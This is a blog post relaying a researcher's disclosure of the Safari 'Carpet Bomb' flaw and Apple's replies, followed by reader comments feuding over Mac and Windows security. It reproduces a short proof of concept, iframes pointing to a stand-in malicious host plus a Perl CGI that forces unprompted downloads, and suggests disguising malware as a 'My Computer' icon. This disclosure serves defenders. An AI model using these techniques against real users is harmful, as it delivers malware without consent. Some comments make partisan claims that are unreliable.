Safari "Carpet Bomb" attack information released
Summary: Nitesh Dhanjani released information about some of his newest research on the Safari web browser this morning, and interestingly enough, Apple has decided NOT to fix some of the issues he presented.Dhanjani reported three issues, as follows below from his blog:1.
Nitesh Dhanjani released information about some of his newest research on the Safari web browser this morning, and interestingly enough, Apple has decided NOT to fix some of the issues he presented.
Dhanjani reported three issues, as follows below from his blog:
1. Safari Carpet Bomb.It is possible for a rogue website to litter the user's Desktop (Windows) or Downloads directory (~/Downloads/ in OSX). This can happen because the Safari browser cannot be configured to obtain the user's permission before it downloads a resource. Safari downloads the resource without the user's consent and places it in a default location (unless changed).
Assume you visit a malicious site,
http://malicious.example.com/, that serves the following HTML:<HTML> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi" mce_src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi" mce_src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi" mce_src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> ... <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi" mce_src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> </HTML>
Now assume that
http://malicious.example.com/cgi-bin/carpet_bomb.cgiis the following:#!/usr/bin/perl print "Content-type: blah/blah\n\n"Since Safari does not know how to rendercontent-typeofblah/blah, it will automatically start downloadingcarpet_bomb.cgievery time it is served. If you are using Safari in Windows, this is what will happen to your desktop once you visit http://malicious.example.com/:
The implication of this is obvious: Malware downloaded to the user's desktop without the user's consent.
Apple does not feel this is a issue they want to tackle at this time.
In my most recent email to Apple, I suggested that they incorporate an option in Safari so the browser can be configured to ask the user before anything is downloaded to the local file system. Apple agreed it was a good suggestion:
...the ability to have a preference to "Ask me before downloading anything" is a good suggestion. We can file that as an enhancement request for the Safari team. Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads. This will require a review with the Human Interface team. We want to set your expectations that this could take quite a while, if it ever gets incorporated.
[credit to BK have-it-your-way Rios for suggesting the term "Carpet Bomb" to describe this issue].
Let's hope Apple does add the suggestion Nitesh mentioned at least. I see this as a major security issue. Unless I'm off the mark, someone could create a piece of Malware, call it "My Computer", give it an icon that looked just like the "My Computer" icon, and litter it all over someone's desktop. My guess is that more than a few people would double click that, making this a serious issue.
Click read more below to read the rest...
Nitesh continues:
2. Sandbox not Applied to Local Resources. This issue is more of a feature set request than a vulnerability. For example, Internet Explorer warns users when a local resource such as an HTML file attempts to invoke client side scripting. I feel this is an important security feature because of user expectations: even the most sophisticated users differentiate between the risk of clicking on an executable they have downloaded (risk perceived to be higher) to clicking on a HTML file they have downloaded (risk perceived to be lower).
Apple's response was positive: ...we have been investigating the potential for a "safe" mode for local HTML. This is an area that requires a fairly deep investigation to address compatibility issues, and to determine the proper operation. Please understand that when we label this as a security hardening measure, we are not discounting the benefits that this could have.
Ok, with this one I'm happy with Apple's response and agree with their plan of action.
3. [Undisclosed]. The third issue I reported to Apple is a high risk vulnerability in Safari that can be used to remotely steal local files from the user's file system. Apple responded positively and let me know that they are actively working to resolve the issue and issue a patch. I will post an update if I hear back from them.
I'd like to thank the Apple security team for their timely responses and for letting me discuss these issues with the security community.
Apple's stance on some of these issues is concerning. For now, I'm forgoing my research on the Mac OS X because I'm afraid Nitesh is going to pwn my box.
-Nate
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Talkback
Apple products are very secure
Just let this strawman die, already
you just look like a pathetic fool every time you and others
like you bring it up.
As long as you don't use it the next time ...
The zombie strawman
Mac users state OS X is perfect.
OS X fell first in the Pwn2Own because of Safari
1. An OS X box was owned within 2 minutes of being connected to the Internet because of the swiss cheese nature of Safari.
2. By far the worst font rendering of any application I've ever used.
3. By far the least stable application on my Vista box, I have the reliability logs to prove it.
4. The onl way Apple can get people to use Safari is to bundle it with OS X and perform stealth installs on Windows machines. Pretty disgusting tactics.
By far the worst font rendering of any application I've ever used
Half the Story
were local, and I remind everyone unlike Microsoft XP / Vista there
has never been a documented remote exploit of OS X.
Even so, the Pwn2Own "hack" was more social engineering than
"hack". Had an actual human been at the controls it is doubtful the
"hack" would have worked.
2. Compared to what, ClearType? You do know that Microsoft's
ClearType is just a re-filed expired Apple patent, right? To be
exact, an expired patent covering the Apple II. Wow! That's some
21st Century technology there!
3. Then post them for the world to see, Joe McCarthy.
4. Yes - it is so unlike forcing every hardware manufacturer to buy
a copy of Windows no matter if the computers ship with it, or not.
We all know Microsoft would never stoop to such tactics, right?
@1mackeek -- Vista Fell to Flash
I love Apple just as much as the next guy, but they have got to stop with this "we're more secure" bull crap.
Agreed
-Nate
Flash
Agreed
-Nate
@1macgeek
1. Vista fell to Flash. What's your point? All the attacks at Pwn2Own were local, and I remind everyone unlike Microsoft XP / Vista there has never been a documented remote exploit of OS X.
Actually, this is a remote exploit. It can be done through cross-site scripting. In fact, all of the attacks used at Pwn2Own are remote. Browser attacks are remote. All it takes is planting the attack on a well visited site with XSS and game over you've hit thousands of users.
You also said:
Even so, the Pwn2Own "hack" was more social engineering than "hack". Had an actual human been at the controls it is doubtful the
"hack" would have worked.
That doesn't even make any sense at all. It was a browser attack, no social engineering required. Simply visit a page that deploys the vector. With XSS so widespread, this could be a site you visit every day.
You said:
2. Compared to what, ClearType? You do know that Microsoft's ClearType is just a re-filed expired Apple patent, right? To be exact, an expired patent covering the Apple II. Wow! That's some 21st Century technology there!
Honestly, and this is not just to you, who gives a fuck about fonts?
-Nate
NOT so sure about that it being S. E.
Didn't even have to click
-Nate
2 minutes is pointless!!!!!
Safari on OS X 10.5 potentially has less risk due to the messages that pop up (it sees an app and confirms you want to continue downloading plus it confirms new apps that were download should be allowed to run).
Safari on Windows is definitely a critical risk! I have it here and don't plan on using it for any surfing except to gmail. I can see a TRIVIAL exploit as was said. Keep the download to a few icons so it's not too obvious, make it one of the obvious ones (My Comp, recy as said), and you're in. [b]Very Baaaaaaad[/b]. With a little social engineering, you might get a vector on Safari/Win in two minutes!!!!
You first (NT)
Safari is CRAP. Don't Use It.
one day and 2 minutes, actually. (n/m)
Why would anyone use safari for windows?
Define primitive then (nt)